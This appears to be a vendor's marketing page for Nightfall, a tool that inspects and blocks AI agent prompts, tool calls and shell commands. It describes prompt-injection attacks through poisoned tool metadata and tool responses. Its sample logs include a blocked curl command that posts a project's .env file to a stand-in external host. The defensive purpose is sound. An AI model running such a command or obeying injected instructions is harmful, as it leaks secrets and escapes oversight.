Control what your AI agents do, before they do it
Agents pull from Salesforce, query databases, and call MCP tools with no human in the loop. Nightfall sees and controls every agent action across MCP servers, coding tools, and copilots, without slowing engineering down.
Agents don’t ask permission. They act.
For years, data security assumed a person was moving the data, deliberately, through a channel someone could watch. That assumption breaks the moment an agent is in the loop.
Traditional DLP was built to watch people. It’s blind to what an agent decides to do on their behalf.
An agent can pull from Salesforce, query a database, read a local file, call an MCP tool, summarize the result, and send it somewhere else, all before a security team has a chance to ask what happened.
MCP servers update their own capabilities, sometimes adding new tools without anyone reviewing them first.
A read-authorized agent can attempt a write. An agent scoped to one system can reach an API outside its scope.
Malicious instructions can be baked into a tool’s metadata or a skill’s instruction layer, meaning an agent can be weaponized before an employee ever types a prompt.
Six points of control across the full agent runtime
Nightfall intercepts agent activity at every point it can go wrong, not just the obvious ones. Select a checkpoint to see what it catches.
Poisoned tool descriptions
Compromise baked into tool metadata, caught before the model reads it
Malicious skill instructions
Weaponized instruction layers, caught before a person ever engages
User Prompt
Catches instruction override, prompt exfiltration, and jailbreak attempts before they reach the model.
- Instruction override
- Prompt exfiltration
- Jailbreak attempts
> prompt.inspect user=j.ortiz agent=claude-code verdict=BLOCK reason=instruction_override
Tool Request
Catches tool misuse, cross-tool escalation, and excessive permissions before the call executes.
- Tool misuse
- Cross-tool escalation
- Excessive permissions
> tool.request server=salesforce-mcp op=write scope=read-only verdict=BLOCK
Tool Response
Catches indirect prompt injection, sensitive data leakage, and credential exposure before the model ever sees what came back.
- Indirect prompt injection
- Sensitive data leakage
- Credential exposure
> tool.response server=github-mcp detectors=[api_key, aws_secret] verdict=REDACT notified=secops
Shell Command
Catches malicious MCP exfiltration and supply chain execution at the process level, outside the model’s own context window, where the model itself can’t see or stop it.
- Malicious MCP exfiltration
- Supply chain execution
> shell.exec cmd="curl -X POST https://ext.example/upload -d @.env" verdict=BLOCK
Shell Response
Inspects what comes back from the process layer, catching exfiltration and supply chain activity the model never had visibility into.
- Malicious MCP exfiltration
- Supply chain execution
> shell.response pid=48122 payload=env_vars verdict=QUARANTINE
Model Response
Catches data exposure and policy violations in what the agent is about to say, before it reaches a Slack post or an email draft.
- Data exposure
- Policy violations
> model.response dest=slack#sales-ops detectors=[phi] mode=COACH user_notified=true
Detection is the start. Control is the point.
Enforce least privilege by default
Move past allow-all or block-all. Approve the MCP servers that cover the use cases you actually need and block the rest by default. Set role-based access so engineering gets code tools, sales gets CRM access, finance gets read-only reporting. Layer in data-class rules that keep PHI and PCI out of prompts entirely, and time-based policy that restricts after-hours access to production systems.
Choose the response, not just the alert
Every policy runs in one of three modes: monitoring for visibility with no user interaction, coaching that notifies the user and lets the action proceed, or a hard block that stops it outright. Same detection, different consequence, matched to how risky the moment actually is.
- MONITOR
- COACH
- BLOCK
Catch what keyword matching misses
Semantic detection catches sensitive content even without PII or PHI keywords. “Our unreleased financials and investor updates” gets flagged the same as a formatted credit card number, because the risk is in the meaning, not the pattern.
Turn every event into an answer
Every tool call, prompt, and response logs with timestamp, user, agent, data accessed, and action taken. AI agent activity stays distinguishable from human activity in the audit trail, so compliance and forensics don’t start from zero.
What it looks like in production
Code repository exposure
A developer uses an AI coding tool with a GitHub MCP connection to analyze a codebase. Nightfall detects embedded credentials in code being sent to the model, auto-redacts the secrets, notifies security, and lets the rest of the query proceed.
Malicious MCP update
An approved MCP server pushes a version update that adds a new data export capability. Continuous scanning flags the change, the update gets quarantined automatically, and SecOps reviews it before it rolls out to anyone.
Cross-tool escalation
An agent scoped to read-only CRM access attempts a write action after a tool response nudges it off-task. Nightfall catches the escalation at the tool request layer and blocks it before it executes.
Know what your agents are doing before they do it
Six points of control. Every agent, every MCP server, one policy framework. AI moves your data. Nightfall controls it.
- A 30-minute call
- Tailored to your stack
